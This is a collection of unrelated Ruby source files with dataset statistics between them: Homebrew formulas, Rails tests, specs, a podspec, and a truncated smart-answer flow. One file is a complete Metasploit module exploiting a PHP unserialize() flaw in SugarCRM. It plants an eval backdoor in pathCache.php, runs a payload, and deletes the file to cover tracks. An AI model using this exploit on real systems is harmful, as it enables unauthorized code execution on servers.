e24c4d7f7eaddca263b843ac839119225c5931c6
143
# frozen_string_literal: true # rubocop:disable Style/StaticClass class Fcom VERSION = '0.3.5.alpha' end # rubocop:enable Style/StaticClass
17.875
35
0.776224
185506bf42cbbb07424e1d3af39bbb6131baab7d
980
require File.expand_path("../../Abstract/abstract-php-extension", __FILE__) class Php70PdoPgsql < AbstractPhp70Extension init desc "Unified PostgreSQL driver for PDO" homepage "https://github.com/php/php-src/tree/master/ext/pdo_pgsql" revision 16 bottle do cellar :any sha256 "c04b2bde8154247c726cde31ba5912abdd8aea5d12d15abe19befd7e655fcb8f" => :high_sierra sha256 "946403127acf4867814ce4cc8ac6943b30a18b3d5f5059d33196d521399c350c" => :sierra sha256 "f36a35da89dba7fcec7adfffd46cd98c81c0af3a5a2676591e3a7e8b036b2e1b" => :el_capitan end url PHP_SRC_TARBALL sha256 PHP_CHECKSUM[:sha256] depends_on "postgresql" def extension "pdo_pgsql" end def install Dir.chdir "ext/pdo_pgsql" safe_phpize system "./configure", "--prefix=#{prefix}", "--with-pdo-pgsql=#{Formula["postgresql"].prefix}", phpconfig system "make" prefix.install "modules/pdo_pgsql.so" write_config_file if build.with? "config-file" end end
28
109
0.753061
1dae67b3278ac5e68a949b597a9fa07d06bfe5ab
7,705
class SphinxDoc < Formula desc "Tool to create intelligent and beautiful documentation" homepage "http://sphinx-doc.org" url "https://files.pythonhosted.org/packages/52/f2/eb65961b97479eec6f89f53572113cb8bd5df70ed93c50a630a5b1bf5598/Sphinx-1.8.0.tar.gz" sha256 "95acd6648902333647a0e0564abdb28a74b0a76d2333148aa35e5ed1f56d3c4b" bottle do cellar :any_skip_relocation sha256 "2867e566cb8dd9a9e76d62ec34e9a0ba55f406b81d81e01169cbbd9427dc09a2" => :mojave sha256 "f6b4ce4f8e2c33f641e38438ddeba4b2c0964fb1726c6085fe42889194bf3fc9" => :high_sierra sha256 "88fb81c1d2acfdbe4813060e2a2688ffd15e1e770f7623561f39c4ca838f524e" => :sierra sha256 "cc5a262cd6cf845c2d5012a525c962544fa9e5ea11743aeff17be202c9ffaef3" => :el_capitan sha256 "30e373b2a74b34964b643ea48b5da56a152c92f6cef30661e04c53e795f57414" => :x86_64_linux end keg_only <<~EOS this formula is mainly used internally by other formulae. Users are advised to use `pip` to install sphinx-doc EOS depends_on "python@2" if OS.mac? && MacOS.version <= :snow_leopard || !OS.mac? # generated from sphinx, setuptools, numpydoc and python-docs-theme resource "setuptools" do url "https://files.pythonhosted.org/packages/ef/1d/201c13e353956a1c840f5d0fbf0461bd45bbd678ea4843ebf25924e8984c/setuptools-40.2.0.zip" sha256 "47881d54ede4da9c15273bac65f9340f8929d4f0213193fa7894be384f2dcfa6" end resource "alabaster" do url "https://files.pythonhosted.org/packages/3f/46/9346ea429931d80244ab7f11c4fce83671df0b7ae5a60247a2b588592c46/alabaster-0.7.11.tar.gz" sha256 "b63b1f4dc77c074d386752ec4a8a7517600f6c0db8cd42980cae17ab7b3275d7" end resource "Babel" do url "https://files.pythonhosted.org/packages/be/cc/9c981b249a455fa0c76338966325fc70b7265521bad641bf2932f77712f4/Babel-2.6.0.tar.gz" sha256 "8cba50f48c529ca3fa18cf81fa9403be176d374ac4d60738b839122dfaaa3d23" end resource "certifi" do url "https://files.pythonhosted.org/packages/e1/0f/f8d5e939184547b3bdc6128551b831a62832713aa98c2ccdf8c47ecc7f17/certifi-2018.8.24.tar.gz" sha256 "376690d6f16d32f9d1fe8932551d80b23e9d393a8578c5633a2ed39a64861638" end resource "chardet" do url "https://files.pythonhosted.org/packages/fc/bb/a5768c230f9ddb03acc9ef3f0d4a3cf93462473795d18e9535498c8f929d/chardet-3.0.4.tar.gz" sha256 "84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae" end resource "docutils" do url "https://files.pythonhosted.org/packages/84/f4/5771e41fdf52aabebbadecc9381d11dea0fa34e4759b4071244fa094804c/docutils-0.14.tar.gz" sha256 "51e64ef2ebfb29cae1faa133b3710143496eca21c530f3f71424d77687764274" end resource "idna" do url "https://files.pythonhosted.org/packages/65/c4/80f97e9c9628f3cac9b98bfca0402ede54e0563b56482e3e6e45c43c4935/idna-2.7.tar.gz" sha256 "684a38a6f903c1d71d6d5fac066b58d7768af4de2b832e426ec79c30daa94a16" end resource "imagesize" do url "https://files.pythonhosted.org/packages/41/f5/3cf63735d54aa9974e544aa25858d8f9670ac5b4da51020bbfc6aaade741/imagesize-1.1.0.tar.gz" sha256 "f3832918bc3c66617f92e35f5d70729187676313caa60c187eb0f28b8fe5e3b5" end resource "Jinja2" do url "https://files.pythonhosted.org/packages/56/e6/332789f295cf22308386cf5bbd1f4e00ed11484299c5d7383378cf48ba47/Jinja2-2.10.tar.gz" sha256 "f84be1bb0040caca4cea721fcbbbbd61f9be9464ca236387158b0feea01914a4" end resource "MarkupSafe" do url "https://files.pythonhosted.org/packages/4d/de/32d741db316d8fdb7680822dd37001ef7a448255de9699ab4bfcbdf4172b/MarkupSafe-1.0.tar.gz" sha256 "a6be69091dac236ea9c6bc7d012beab42010fa914c459791d627dad4910eb665" end resource "numpydoc" do url "https://files.pythonhosted.org/packages/95/a8/b4706a6270f0475541c5c1ee3373c7a3b793936ec1f517f1a1dab4f896c0/numpydoc-0.8.0.tar.gz" sha256 "61f4bf030937b60daa3262e421775838c945dcdd671f37b69e8e4854c7eb5ffd" end resource "packaging" do url "https://files.pythonhosted.org/packages/77/32/439f47be99809c12ef2da8b60a2c47987786d2c6c9205549dd6ef95df8bd/packaging-17.1.tar.gz" sha256 "f019b770dd64e585a99714f1fd5e01c7a8f11b45635aa953fd41c689a657375b" end resource "Pygments" do url "https://files.pythonhosted.org/packages/71/2a/2e4e77803a8bd6408a2903340ac498cb0a2181811af7c9ec92cb70b0308a/Pygments-2.2.0.tar.gz" sha256 "dbae1046def0efb574852fab9e90209b23f556367b5a320c0bcb871c77c3e8cc" end resource "pyparsing" do url "https://files.pythonhosted.org/packages/3c/ec/a94f8cf7274ea60b5413df054f82a8980523efd712ec55a59e7c3357cf7c/pyparsing-2.2.0.tar.gz" sha256 "0832bcf47acd283788593e7a0f542407bd9550a55a8a8435214a1960e04bcb04" end resource "python-docs-theme" do url "https://files.pythonhosted.org/packages/77/f9/8c63766fe271549db3a578b652dea6678b90b593300315507b9c922f7173/python-docs-theme-2018.7.tar.gz" sha256 "018a5bf2a7318c9c9a8346303dac8afc6bc212d92e86561c9b95a3372714155a" end resource "pytz" do url "https://files.pythonhosted.org/packages/ca/a9/62f96decb1e309d6300ebe7eee9acfd7bccaeedd693794437005b9067b44/pytz-2018.5.tar.gz" sha256 "ffb9ef1de172603304d9d2819af6f5ece76f2e85ec10692a524dd876e72bf277" end resource "requests" do url "https://files.pythonhosted.org/packages/54/1f/782a5734931ddf2e1494e4cd615a51ff98e1879cbe9eecbdfeaf09aa75e9/requests-2.19.1.tar.gz" sha256 "ec22d826a36ed72a7358ff3fe56cbd4ba69dd7a6718ffd450ff0e9df7a47ce6a" end resource "six" do url "https://files.pythonhosted.org/packages/16/d8/bc6316cf98419719bd59c91742194c111b6f2e85abac88e496adefaf7afe/six-1.11.0.tar.gz" sha256 "70e8a77beed4562e7f14fe23a786b54f6296e34344c23bc42f07b15018ff98e9" end resource "snowballstemmer" do url "https://files.pythonhosted.org/packages/20/6b/d2a7cb176d4d664d94a6debf52cd8dbae1f7203c8e42426daa077051d59c/snowballstemmer-1.2.1.tar.gz" sha256 "919f26a68b2c17a7634da993d91339e288964f93c274f1343e3bbbe2096e1128" end resource "sphinxcontrib-websupport" do url "https://files.pythonhosted.org/packages/07/7a/e74b06dce85555ffee33e1d6b7381314169ebf7e31b62c18fcb2815626b7/sphinxcontrib-websupport-1.1.0.tar.gz" sha256 "9de47f375baf1ea07cdb3436ff39d7a9c76042c10a769c52353ec46e4e8fc3b9" end resource "typing" do url "https://files.pythonhosted.org/packages/bf/9b/2bf84e841575b633d8d91ad923e198a415e3901f228715524689495b4317/typing-3.6.6.tar.gz" sha256 "4027c5f6127a6267a435201981ba156de91ad0d1d98e9ddc2aa173453453492d" end resource "urllib3" do url "https://files.pythonhosted.org/packages/3c/d2/dc5471622bd200db1cd9319e02e71bc655e9ea27b8e0ce65fc69de0dac15/urllib3-1.23.tar.gz" sha256 "a68ac5e15e76e7e5dd2b8f94007233e01effe3e50e8daddf69acfd81cb686baf" end def install ENV.prepend_create_path "PYTHONPATH", libexec/"vendor/lib/python2.7/site-packages" resources.each do |r| r.stage do system "python", *Language::Python.setup_install_args(libexec/"vendor") end end ENV.prepend_create_path "PYTHONPATH", libexec/"lib/python2.7/site-packages" system "python", *Language::Python.setup_install_args(libexec) bin.install Dir[libexec/"bin/*"] bin.env_script_all_files(libexec/"bin", :PYTHONPATH => ENV["PYTHONPATH"]) end def post_install return if OS.mac? python = HOMEBREW_PREFIX/"bin/python" python = "/usr/bin/env python" unless python.executable? inreplace Dir[libexec/"bin/*"], %r{^#!.*bin/python$}, "#!#{python}" end test do system bin/"sphinx-quickstart", "-pPorject", "-aAuthor", "-v1.0", "-q", testpath system bin/"sphinx-build", testpath, testpath/"build" assert_predicate testpath/"build/index.html", :exist? assert_predicate libexec/"vendor/lib/python2.7/site-packages/python_docs_theme", :exist? end end
47.269939
154
0.809474
268a11aff96011b5cfd26acbae34161925224a4c
773
require 'rails/generators' module Passconf class ViewsGenerator < Rails::Generators::Base source_root File.expand_path('../../../..', __FILE__) def copy_files copy_file "app/views/passconf/password_confirmations/password_authentication.js.erb", "app/views/passconf/password_confirmations/password_authentication.js.erb" copy_file "app/views/passconf/password_confirmations/password_dialog.js.erb", "app/views/passconf/password_confirmations/password_dialog.js.erb" copy_file "app/views/layouts/passconf/_password_confirmation.html.erb", "app/views/layouts/passconf/_password_confirmation.html.erb" copy_file "app/views/layouts/passconf/_phr_section.html.erb", "app/views/layouts/passconf/_phr_section.html.erb" end end end
59.461538
167
0.778784
b99a28d4ffab06bb09a87ebf014617fbf5169f8b
249
require 'test_helper' class BananaTest < ActiveSupport::TestCase include Monkeys def setup fend_off_the_monkeys end test "is delicious" do assert Banana.new.delicious? end def teardown appologize_to_the_monkeys end end
13.833333
42
0.742972
6abb9f8c4b9f4720f70e31fcde0e290fe098b126
60
module Gpp module Decrypt VERSION = "0.1.0" end end
10
21
0.633333
e8c776e2e29183763387512756b27fa6b4e7a63f
1,027
# Configure Rails Environment ENV["RAILS_ENV"] = "test" require 'simplecov' SimpleCov.start if ENV['CI'] # Upload code coverage reports on CI require 'codecov' SimpleCov.formatter = SimpleCov::Formatter::Codecov end require File.expand_path("../../test/dummy/config/environment.rb", __FILE__) ActiveRecord::Migrator.migrations_paths = [File.expand_path("../../test/dummy/db/migrate", __FILE__)] #require "rails/test_help" # Filter out Minitest backtrace while allowing backtrace from other libraries # to be shown. Minitest.backtrace_filter = Minitest::BacktraceFilter.new Rails::TestUnitReporter.executable = 'bin/test' # Load fixtures from the engine if ActiveSupport::TestCase.respond_to?(:fixture_path=) ActiveSupport::TestCase.fixture_path = File.expand_path("../fixtures", __FILE__) ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path ActiveSupport::TestCase.file_fixture_path = ActiveSupport::TestCase.fixture_path + "/files" ActiveSupport::TestCase.fixtures :all end
34.233333
101
0.783836
e8bf74d235a40da358badd3a8bc506b77215119f
150
actions :create default_action :create attribute :name, :name_attribute => true, :kind_of => String attribute :set, :kind_of => String
15
27
0.68
918ff7cfb74416758681d9112cec19d48c93735a
4,663
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'SugarCRM unserialize() PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1 which could be abused to allow authenticated SugarCRM users to execute arbitrary code with the permissions of the webserver. The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php' script, which is called with user controlled data from the 'current_query_by_page' parameter. The exploit abuses the __destruct() method from the SugarTheme class to write arbitrary PHP code to a 'pathCache.php' on the web root. }, 'Author' => [ 'EgiX', # Vulnerability discovery and PoC 'juan vazquez', # Metasploit module 'sinn3r' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-0694' ], [ 'OSVDB', '83361' ], [ 'EDB', '19381' ], [ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 23 2012' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]), OptString.new('USERNAME', [true, "The username to authenticate with" ]), OptString.new('PASSWORD', [true, "The password to authenticate with" ]) ], self.class) end def on_new_session(client) if client.type == "meterpreter" f = "pathCache.php" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin print_warning("Deleting #{f}") client.fs.file.rm(f) print_good("#{f} removed to stay ninja") rescue print_warning("Unable to remove #{f}") end end end def exploit base = normalize_uri(target_uri.path) username = datastore['USERNAME'] password = datastore['PASSWORD'] # Can't use vars_post because it'll escape "_" data = "module=Users&" data << "action=Authenticate&" data << "user_name=#{username}&" data << "user_password=#{password}" res = send_request_cgi( { 'uri' => normalize_uri(base, "index.php") , 'method' => "POST", 'headers' => { 'Cookie' => "PHPSESSID=1", }, 'data' => data }) if res.nil? || res.headers['Location'].include?('action=Login') || res.get_cookies.empty? fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"") end if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/ session_id = $1 elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/ session_id = $1 else fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)") end print_status("Login successful with #{username}:#{password}") data = "module=Contacts&" data << "Contacts2_CONTACT_offset=1&" data << "current_query_by_page=" #O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";} data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30=" print_status("Exploiting the unserialize()") res = send_request_cgi( { 'uri' => "#{base}index.php", 'method' => 'POST', 'headers' => { 'Cookie' => "PHPSESSID=#{session_id};", }, 'data' => data }) unless res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - Exploit failed: #{res.code}") end print_status("Executing the payload") res = send_request_cgi( { 'method' => 'GET', 'uri' => "#{base}pathCache.php", 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } }) end end
31.506757
198
0.588677
e9fcba15a593d542cab7a6a7b1821e677def66ca
1,126
module Clearance # Runs as the base {SignInGuard} for all requests, regardless of configured # {Configuration#sign_in_guards}. class DefaultSignInGuard < SignInGuard # Runs the default sign in guard. # # If there is a value set in the clearance session object, then the guard # returns {SuccessStatus}. Otherwise, it returns {FailureStatus} with the # message returned by {#default_failure_message}. # # @return [SuccessStatus, FailureStatus] def call if session.signed_in? success else failure default_failure_message.html_safe end end # The default failure message pulled from the i18n framework. # # Will use the value returned from the following i18n keys, in this order: # # * `clearance.controllers.sessions.bad_email_or_password` # * `flashes.failure_after_create` # # @return [String] def default_failure_message I18n.t( :bad_email_or_password, scope: [:clearance, :controllers, :sessions], default: I18n.t('flashes.failure_after_create').html_safe ) end end end
30.432432
78
0.681172
6a5c7ed446072fef0f68871af517c63323832dbd
3,031
require File.dirname(__FILE__) + '/../spec_helper' include Remote class TestRemoter include RemoterBase end describe "RemoterBase" do describe "methods" do before(:each) do @tr = TestRemoter.new end %w(launch_new_instance! terminate_instance describe_instance instances_list).each do |method| eval <<-EOE it "should raise an exception if #{method} is not defined as a method" do lambda { @tr.#{method} }.should raise_error end it "should not raise an exception if #{method} is defined as a method" do lambda { @tr.instance_eval do def #{method} end end @tr.#{method} }.should_not raise_error end EOE end describe "lists" do before(:each) do stub_list_of_instances_for(@tr) end it "should gather a list of the running instances" do @tr.list_of_running_instances.map {|a| a.name }.should == ["master", "node1"] end it "should be able to gather a list of the pending instances" do @tr.list_of_pending_instances.map {|a| a.name }.should == ["node3"] end it "should be able to gather a list of the terminating instances" do @tr.list_of_terminating_instances.map {|a| a.name }.should == [] end it "should be able to gather a list of the non-terminated instances" do @tr.list_of_nonterminated_instances.map {|a| a.name }.should == ["master", "node1", "node3"] end it "should return a list of remote instances" do @tr.remote_instances_list.first.class.should == RemoteInstance end describe "by keypairs" do it "should be able to grab all the alist keypairs" do @tr.list_of_instances("fake_keypair").map {|a| a[:name] }.should == ["master", "node1", "node2", "node3"] end it "should be able to grab all the blist keypairs" do @tr.list_of_instances("blist").map {|a| a[:name] }.should == ["node4"] end end describe "get by name" do it "should fetch the instance by number " do @tr.get_instance_by_number(1).name.should == "node1" end it "should fetch the master by number 0" do @tr.get_instance_by_number(0).name.should == "master" end it "should not throw a fit if the node doesn't exist" do lambda {@tr.get_instance_by_number(1000)}.should_not raise_error end end end describe "adding custom install tasks (like set_hostname, for example)" do before(:each) do @master = Object.new @master.stub!(:ip).and_return "192.68.0.1" @tr.stub!(:master).and_return @master end it "should have the method custom_install_tasks" do;@tr.respond_to?(:custom_install_tasks_for).should == true;end it "should have the method custom_configure_tasks" do;@tr.respond_to?(:custom_configure_tasks_for).should == true;end end end end
37.8875
123
0.621907
b909f52902ed281b235e9393b4673223298fc59a
1,009
Pod::Spec.new do |s| s.name = "CafeiCSDK" s.version = "1.1.4" s.summary = "CafeiCSDK for Cocoapods convenience." s.homepage = "http://magicwindow.cn/" s.license = "MIT" s.author = { "MagicWindow" => "[email protected]" } s.source = { :git => "https://github.com/cafei/Test.git", :tag => "#{s.version}" } s.platform = :ios, "7.0" s.requires_arc = true s.source_files = "MWContentSDK/*.{h,m}" s.public_header_files = "MWContentSDK/*.h" s.resource = "MWContentSDK/*.png" s.preserve_paths = "MWContentSDK/libMWContentSDK.a" s.vendored_libraries = "MWContentSDK/libMWContentSDK.a" s.xcconfig = { 'LIBRARY_SEARCH_PATHS' => '"$(PODS_ROOT)/CafeiCSDK/MWContentSDK"', 'HEADER_SEARCH_PATHS' => '"$(PODS_ROOT)/CafeiCSDK/MWContentSDK"' } s.frameworks = "AdSupport","CoreTelephony","CoreGraphics","CoreFoundation","SystemConfiguration","CoreLocation" s.dependency "MJRefresh" s.dependency "SDWebImage" s.dependency "MagicWindowSDK" s.dependency "WechatOpenSDK" end
34.793103
111
0.691774
03bca69fbe25ef4f879a8945b8b6edde3cf3ec8b
493
require 'gooddata' require 'csv' require 'prettyprint' class GoodSuccess def initialize(username, password) @client = GoodData.connect(username, password, server: 'https://engagement.gooddata.com' ) @project_goodsuccess = @client.projects('d0yaqkwwo0ej2fyai2l2t9m4e4bjggsw'); end def get_top_usage_workspaces(howmany = 999) result = @project_goodsuccess.reports(121703).latest_report_definition.execute return result.without_top_headers.to_a.first(howmany) end end
29
95
0.778905
91dd0a9f73dadb164c930f3d9f57c50ed095333c
4,032
require 'bigdecimal' describe "BigDecimal#truncate" do before(:each) do @arr = ['3.14159', '8.7', "0.314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848111745028410270193852110555964462294895493038196442881097566593014782083152134043E1"] @big = BigDecimal("123456.789") @nan = BigDecimal('NaN') @infinity = BigDecimal('Infinity') @infinity_negative = BigDecimal('-Infinity') end ruby_version_is "" ... "1.9" do it "returns value of type Bigdecimal." do @arr.each do |x| BigDecimal(x).truncate.kind_of?(BigDecimal).should == true end end end ruby_version_is "1.9" do it "returns value of type Integer." do @arr.each do |x| BigDecimal(x).truncate.kind_of?(Integer).should == true end end end it "returns the integer part as a BigDecimal if no precision given" do BigDecimal(@arr[0]).truncate.should == 3 BigDecimal(@arr[1]).truncate.should == 8 BigDecimal(@arr[2]).truncate.should == 3 BigDecimal('0').truncate.should == 0 BigDecimal('0.1').truncate.should == 0 BigDecimal('-0.1').truncate.should == 0 BigDecimal('1.5').truncate.should == 1 BigDecimal('-1.5').truncate.should == -1 BigDecimal('1E10').truncate.should == BigDecimal('1E10') BigDecimal('-1E10').truncate.should == BigDecimal('-1E10') BigDecimal('1.8888E10').truncate.should == BigDecimal('1.8888E10') BigDecimal('-1E-1').truncate.should == 0 end it "returns value of given precision otherwise" do BigDecimal('-1.55').truncate(1).should == BigDecimal('-1.5') BigDecimal('1.55').truncate(1).should == BigDecimal('1.5') BigDecimal(@arr[0]).truncate(2).should == BigDecimal("3.14") BigDecimal('123.456').truncate(2).should == BigDecimal("123.45") BigDecimal('123.456789').truncate(4).should == BigDecimal("123.4567") BigDecimal('0.456789').truncate(10).should == BigDecimal("0.456789") BigDecimal('-1E-1').truncate(1).should == BigDecimal('-0.1') BigDecimal('-1E-1').truncate(2).should == BigDecimal('-0.1E0') BigDecimal('-1E-1').truncate.should == BigDecimal('0') BigDecimal('-1E-1').truncate(0).should == BigDecimal('0') BigDecimal('-1E-1').truncate(-1).should == BigDecimal('0') BigDecimal('-1E-1').truncate(-2).should == BigDecimal('0') BigDecimal(@arr[1]).truncate(1).should == BigDecimal("8.7") BigDecimal(@arr[2]).truncate(100).should == BigDecimal(\ "3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679") end it "sets n digits left of the decimal point to 0, if given n < 0" do @big.truncate(-1).should == BigDecimal("123450.0") @big.truncate(-2).should == BigDecimal("123400.0") BigDecimal(@arr[2]).truncate(-1).should == 0 end it "returns NaN if self is NaN" do @nan.truncate(-1).nan?.should == true @nan.truncate(+1).nan?.should == true @nan.truncate(0).nan?.should == true end it "returns Infinity if self is infinite" do @infinity.truncate(-1).should == @infinity @infinity.truncate(+1).should == @infinity @infinity.truncate(0).should == @infinity @infinity_negative.truncate(-1).should == @infinity_negative @infinity_negative.truncate(+1).should == @infinity_negative @infinity_negative.truncate(0).should == @infinity_negative end ruby_version_is "" ... "1.9" do it "returns the same value if self is special value" do @nan.truncate.nan?.should == true @infinity.truncate.should == @infinity @infinity_negative.truncate.should == @infinity_negative end end ruby_version_is "1.9" do it "returns the same value if self is special value" do lambda { @nan.truncate }.should raise_error(FloatDomainError) lambda { @infinity.truncate }.should raise_error(FloatDomainError) lambda { @infinity_negative.truncate }.should raise_error(FloatDomainError) end end end
39.920792
273
0.682044
613095cb2f69acc5f395216f78a44d308b7c230d
1,624
module SwaggerClient # class Thread < BaseObject attr_accessor :hash, :status, :info, :created_at, :modified_at # attribute mapping from ruby-style variable name to JSON key def self.attribute_map { # Unique identifier of the thread. :'hash' => :'hash', # Status of the thread. :'status' => :'status', # Extra information. :'info' => :'info', # Date and time when the job was created. :'created_at' => :'created_at', # Date and time when the job was last modified. :'modified_at' => :'modified_at' } end # attribute type def self.swagger_types { :'hash' => :'string', :'status' => :'int', :'info' => :'string', :'created_at' => :'DateTime', :'modified_at' => :'DateTime' } end def initialize(attributes = {}) return if !attributes.is_a?(Hash) || attributes.empty? # convert string to symbol for hash key attributes = attributes.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo} if attributes[:'hash'] @hash = attributes[:'hash'] end if attributes[:'status'] @status = attributes[:'status'] end if attributes[:'info'] @info = attributes[:'info'] end if attributes[:'created_at'] @created_at = attributes[:'created_at'] end if attributes[:'modified_at'] @modified_at = attributes[:'modified_at'] end end end end
23.536232
79
0.518473
d56deb4f131b7c1834b97367f921d2dd9f49caa6
1,895
Hcking::Application.configure do # Settings specified here will take precedence over those in config/application.rb # The test environment is used exclusively to run your application's # test suite. You never need to work with it otherwise. Remember that # your test database is "scratch space" for the test suite and is wiped # and recreated between test runs. Don't rely on the data there! config.cache_classes = true config.eager_load = false # Configure static asset server for tests with Cache-Control for performance config.serve_static_files = true config.static_cache_control = "public, max-age=3600" # Show full error reports and disable caching config.consider_all_requests_local = true config.action_controller.perform_caching = false # Raise exceptions instead of rendering exception templates config.action_dispatch.show_exceptions = false # Disable request forgery protection in test environment config.action_controller.allow_forgery_protection = false # Tell Action Mailer not to deliver emails to the real world. # The :test delivery method accumulates sent emails in the # ActionMailer::Base.deliveries array. config.action_mailer.delivery_method = :test # Use SQL instead of Active Record's schema dumper when creating the test database. # This is necessary if your schema can't be completely dumped by the schema dumper, # like if you have constraints or database-specific column types # config.active_record.schema_format = :sql # Do not suppress errors raised within `after_rollback`/`after_commit` callbacks config.active_record.raise_in_transactional_callbacks = true # Print deprecation notices to the stderr config.active_support.deprecation = :stderr config.action_mailer.default_url_options = { host: "hacking.in" } # OmniAuth in testing mode OmniAuth.config.test_mode = true end
41.195652
85
0.77942
5d4c53f0ff02965a895f9a6e96059b514dfb6611
1,440
# frozen_string_literal: true # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Auto-generated by gapic-generator-ruby. DO NOT EDIT! require "google/cloud/gaming/v1beta/game_server_clusters_service" require "google/cloud/gaming/v1beta/game_server_configs_service" require "google/cloud/gaming/v1beta/game_server_deployments_service" require "google/cloud/gaming/v1beta/realms_service" require "google/cloud/gaming/v1beta/version" module Google module Cloud module Gaming ## # To load this package, including all its services, and instantiate a client: # # require "google/cloud/gaming/v1beta" # client = ::Google::Cloud::Gaming::V1beta::GameServerClustersService::Client.new # module V1beta end end end end helper_path = ::File.join __dir__, "v1beta", "_helpers.rb" require "google/cloud/gaming/v1beta/_helpers" if ::File.file? helper_path
34.285714
91
0.747917
e96c64b81d88a569fa9843d5bb6680b080f3d7d5
225
# frozen_string_literal: true RSpec.describe 'Dummy 17' do 1.upto(17) do |num| context "with num=#{num}" do it 'validates twice of the num' do expect(num + num).to eq(2 * num) end end end end
18.75
40
0.604444
e25259113f3d5b8bb92c8527ca57668f8b8bc93e
1,313
module LearnGenerate module Helpers module TemplateHelper def fundamental_helper change_filename('lib/', 'file.rb', 'rb') edit_file('spec/spec_helper.rb', formatted_lab_name) edit_gemfile end def command_line_helper edit_file("bin/runner.rb", formatted_lab_name) edit_file("spec/spec_helper.rb", formatted_lab_name) edit_file("lib/environment.rb", formatted_lab_name) FileUtils.mv("lib/lab-name", "lib/#{lab_name}") edit_gemfile end def sql_helper change_filename('lib/', 'sample.sql', 'sql') end def rake_helper change_filename('lib/', 'file.rb', 'rb') edit_file("config/environment.rb", formatted_lab_name) edit_gemfile end def sinatra_mvc_helper edit_mvc_gemfile end def sinatra_classic_helper edit_classic_gemfile end def js_helper change_filename('js/', 'file.js', 'js') end def fe_helper edit_file('index.html', formatted_name) end def kids_helper change_filename('lib/', 'file.rb', 'rb') edit_file('spec/spec_helper.rb', formatted_lab_name) edit_spec("spec/#{formatted_lab_name}_spec.rb") edit_gemfile end end end end
24.773585
62
0.624524
b9f697c0803512a503c48861be19279483f3c8fe
808
require 'json' package = JSON.parse(File.read(File.join(__dir__, 'package.json'))) Pod::Spec.new do |s| s.name = "expo-react-native-fast-image" s.version = package['version'] s.summary = "🚩 FastImage, performant React Native image component." s.authors = { "Dylan Vann" => "[email protected]" } s.homepage = "https://github.com/DylanVann/react-native-fast-image#readme" s.license = "MIT" s.platform = :ios, "8.0" s.framework = 'UIKit' s.requires_arc = true s.source = { :git => "https://github.com/DylanVann/react-native-fast-image.git" } s.source_files = "ios/**/*.{h,m}" s.exclude_files = "ios/Vendor/**/*.{h,m}" s.dependency 'React' s.dependency 'SDWebImage/Core' s.dependency 'SDWebImage/GIF' s.dependency 'SDWebImage/WebP' s.dependency 'FLAnimatedImage' end
28.857143
83
0.673267
331ed46dcedd7d5b655b4d706d09947cfb29c502
771
# -*- encoding : utf-8 -*- require File.dirname(__FILE__) + '/../test_helper' require 'account_mailer' class AccountMailerTest < ActiveSupport::TestCase FIXTURES_PATH = File.dirname(__FILE__) + '/../fixtures' CHARSET = "utf-8" def setup @account = Account.create valid_account_attributes end def test_should_send_signup_notification response = AccountMailer.signup_notification(@account) assert_equal @account.email, response.to[0] assert_match @account.activation_code, response.body end def test_should_send_forgot_password @account.forgot_password! response = AccountMailer.forgot_password(@account) assert_equal @account.email, response.to[0] assert_match @account.password_reset_code, response.body end end
28.555556
60
0.75227
1c341976a314facf6e1b504e779b51258f1af1d6
3,397
status :draft satisfies_need "100578" ### This will need updating before 6th April 2016 ### # Q1 multiple_choice :what_is_your_marital_status? do option :married option :will_marry_before_specific_date option :will_marry_on_or_after_specific_date option :widowed calculate :answers do answers = [] if responses.last == "married" or responses.last == "will_marry_before_specific_date" answers << :old1 elsif responses.last == "will_marry_on_or_after_specific_date" answers << :new1 elsif responses.last == "widowed" answers << :widow end answers end next_node :when_will_you_reach_pension_age? end # Q2 multiple_choice :when_will_you_reach_pension_age? do option :your_pension_age_before_specific_date option :your_pension_age_after_specific_date calculate :answers do if responses.last == "your_pension_age_before_specific_date" answers << :old2 elsif responses.last == "your_pension_age_after_specific_date" answers << :new2 end answers << :old3 if responses.first == "widowed" answers end calculate :result_phrase do if 